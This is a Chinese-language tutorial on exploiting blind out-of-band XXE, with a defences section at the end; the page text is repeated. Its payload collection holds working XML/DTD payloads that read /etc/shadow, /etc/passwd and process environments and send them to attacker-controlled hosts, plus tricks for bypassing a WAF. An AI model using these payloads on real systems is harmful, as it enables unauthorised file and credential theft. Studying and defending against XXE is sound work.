记一次利用BLIND OOB XXE漏洞获取文件系统访问权限的测试
字数 1608 2025-08-18 11:37:12

BLIND OOB XXE漏洞利用深度解析与实战教学

1. XXE漏洞概述

XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵应用程序的XML解析器来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)攻击、扫描内部端口,甚至在某些情况下实现远程代码执行。

BLIND OOB (Out-of-Band) XXE是XXE攻击的一种变体,当目标应用程序解析XML但不直接返回结果时使用,通过外带数据通道提取信息。

2. 漏洞发现与初步分析

2.1 目标识别

  1. 对目标网站进行全面的服务资产识别和踩点
  2. 发现一个有趣的子域名网站
  3. 进行目录遍历,发现/notifications服务端点

2.2 初步探测

  • 使用BurpSuite捕获请求和响应
  • 观察响应中包含XML内容和XML SOAP语法体
  • 测试不同请求方法:
    • 简单POST请求(无content-type):返回200状态码,XML SOAP语法体消失
    • content-type: application/xml的POST请求:返回不同XML响应,标签值变为"OK"
    • content-type: application/json的POST请求:返回空响应

2.3 漏洞推断

根据响应模式,推断服务端能正常处理XML数据,可能存在XXE漏洞。

3. BLIND OOB XXE攻击实施

3.1 基本概念

BLIND OOB XXE攻击通过以下步骤实现:

  1. 攻击者控制的外部服务器托管恶意DTD文件
  2. 目标服务器解析包含外部实体引用的恶意XML
  3. 目标服务器尝试加载外部DTD
  4. 通过DNS或HTTP请求泄露数据

3.2 攻击实施步骤

  1. 在VPS上架设恶意DTD文件
  2. 构造包含外部实体引用的XML payload
  3. 发送恶意请求到目标/notifications端点
  4. 观察VPS上的请求日志确认漏洞存在

3.3 进阶利用 - 文件系统访问

对于Java应用程序,可以使用俄罗斯OnSec实验室研究的特殊技术:

  1. 使用xxe-ftp-server.rb脚本建立服务
    • 8088端口作为HTTP服务端获取OOB攻击payload
    • 8077端口用于FTP连接服务
  2. 通过FTP协议读取系统目录和文件内容

4. 实用XXE Payload集锦

4.1 基础验证Payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

4.2 OOB数据提取Payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;
]>
<r>&exfil;</r>

外部DTD内容 (ev.xml):

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

4.3 .NET环境优化Payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;%exfil;
]>

4.4 Linux系统文件提取

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;%param3;%exfil;
]>

外部DTD内容 (sp.dtd):

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

4.5 Java特定Payload

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;%param3;%exfil;
]>
<r></r>

4.6 文件未找到异常利用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one; %two; %four;
]>

外部DTD内容:

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

4.7 FTP协议利用

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;%c;
]>
<a>&rrr;</a>

外部DTD内容 (ext.dtd):

<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

4.8 SOAP环境Payload

<soap:Body>
<foo><![CDATA[<!DOCTYPE doc [
<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/">
%dtd;
]>
<xxx/>]]></foo>
</soap:Body>

4.9 WAF绕过技巧

非常规DOCTYPE声明:

<!DOCTYPE :. SYSTEM "http://">
<!DOCTYPE :_-_: SYSTEM "http://">
<!DOCTYPE {0xdfbf} SYSTEM "http://">

5. 防御措施

5.1 开发层面

  1. 禁用外部实体解析:
    • PHP: libxml_disable_entity_loader(true);
    • Java: 设置DocumentBuilderFactorysetExpandEntityReferences(false)
    • Python: 使用defusedxml替代标准库
  2. 使用白名单验证输入
  3. 尽可能使用JSON而非XML

5.2 运维层面

  1. 及时更新XML处理库
  2. 配置网络防火墙限制出站请求
  3. 实施最小权限原则,限制应用程序访问文件系统的权限

6. 总结

BLIND OOB XXE是一种危险的漏洞,允许攻击者在无直接反馈的情况下通过外带通道窃取敏感数据。本文详细介绍了从发现到利用的全过程,并提供了多种环境下的实用Payload。防御XXE需要开发者和运维人员的共同努力,通过禁用危险功能、严格输入验证和适当的网络配置来降低风险。

注意:本文仅用于技术研究和防御目的,未经授权对系统进行测试是违法行为。

BLIND OOB XXE漏洞利用深度解析与实战教学 1. XXE漏洞概述 XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵应用程序的XML解析器来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)攻击、扫描内部端口,甚至在某些情况下实现远程代码执行。 BLIND OOB (Out-of-Band) XXE是XXE攻击的一种变体,当目标应用程序解析XML但不直接返回结果时使用,通过外带数据通道提取信息。 2. 漏洞发现与初步分析 2.1 目标识别 对目标网站进行全面的服务资产识别和踩点 发现一个有趣的子域名网站 进行目录遍历,发现 /notifications 服务端点 2.2 初步探测 使用BurpSuite捕获请求和响应 观察响应中包含XML内容和XML SOAP语法体 测试不同请求方法: 简单POST请求(无content-type):返回200状态码,XML SOAP语法体消失 带 content-type: application/xml 的POST请求:返回不同XML响应,标签值变为"OK" 带 content-type: application/json 的POST请求:返回空响应 2.3 漏洞推断 根据响应模式,推断服务端能正常处理XML数据,可能存在XXE漏洞。 3. BLIND OOB XXE攻击实施 3.1 基本概念 BLIND OOB XXE攻击通过以下步骤实现: 攻击者控制的外部服务器托管恶意DTD文件 目标服务器解析包含外部实体引用的恶意XML 目标服务器尝试加载外部DTD 通过DNS或HTTP请求泄露数据 3.2 攻击实施步骤 在VPS上架设恶意DTD文件 构造包含外部实体引用的XML payload 发送恶意请求到目标 /notifications 端点 观察VPS上的请求日志确认漏洞存在 3.3 进阶利用 - 文件系统访问 对于Java应用程序,可以使用俄罗斯OnSec实验室研究的特殊技术: 使用 xxe-ftp-server.rb 脚本建立服务 8088端口作为HTTP服务端获取OOB攻击payload 8077端口用于FTP连接服务 通过FTP协议读取系统目录和文件内容 4. 实用XXE Payload集锦 4.1 基础验证Payload 4.2 OOB数据提取Payload 外部DTD内容 ( ev.xml ): 4.3 .NET环境优化Payload 4.4 Linux系统文件提取 外部DTD内容 ( sp.dtd ): 4.5 Java特定Payload 4.6 文件未找到异常利用 外部DTD内容: 4.7 FTP协议利用 外部DTD内容 ( ext.dtd ): 4.8 SOAP环境Payload 4.9 WAF绕过技巧 非常规DOCTYPE声明: 5. 防御措施 5.1 开发层面 禁用外部实体解析: PHP: libxml_disable_entity_loader(true); Java: 设置 DocumentBuilderFactory 的 setExpandEntityReferences(false) Python: 使用 defusedxml 替代标准库 使用白名单验证输入 尽可能使用JSON而非XML 5.2 运维层面 及时更新XML处理库 配置网络防火墙限制出站请求 实施最小权限原则,限制应用程序访问文件系统的权限 6. 总结 BLIND OOB XXE是一种危险的漏洞,允许攻击者在无直接反馈的情况下通过外带通道窃取敏感数据。本文详细介绍了从发现到利用的全过程,并提供了多种环境下的实用Payload。防御XXE需要开发者和运维人员的共同努力,通过禁用危险功能、严格输入验证和适当的网络配置来降低风险。 注意 :本文仅用于技术研究和防御目的,未经授权对系统进行测试是违法行为。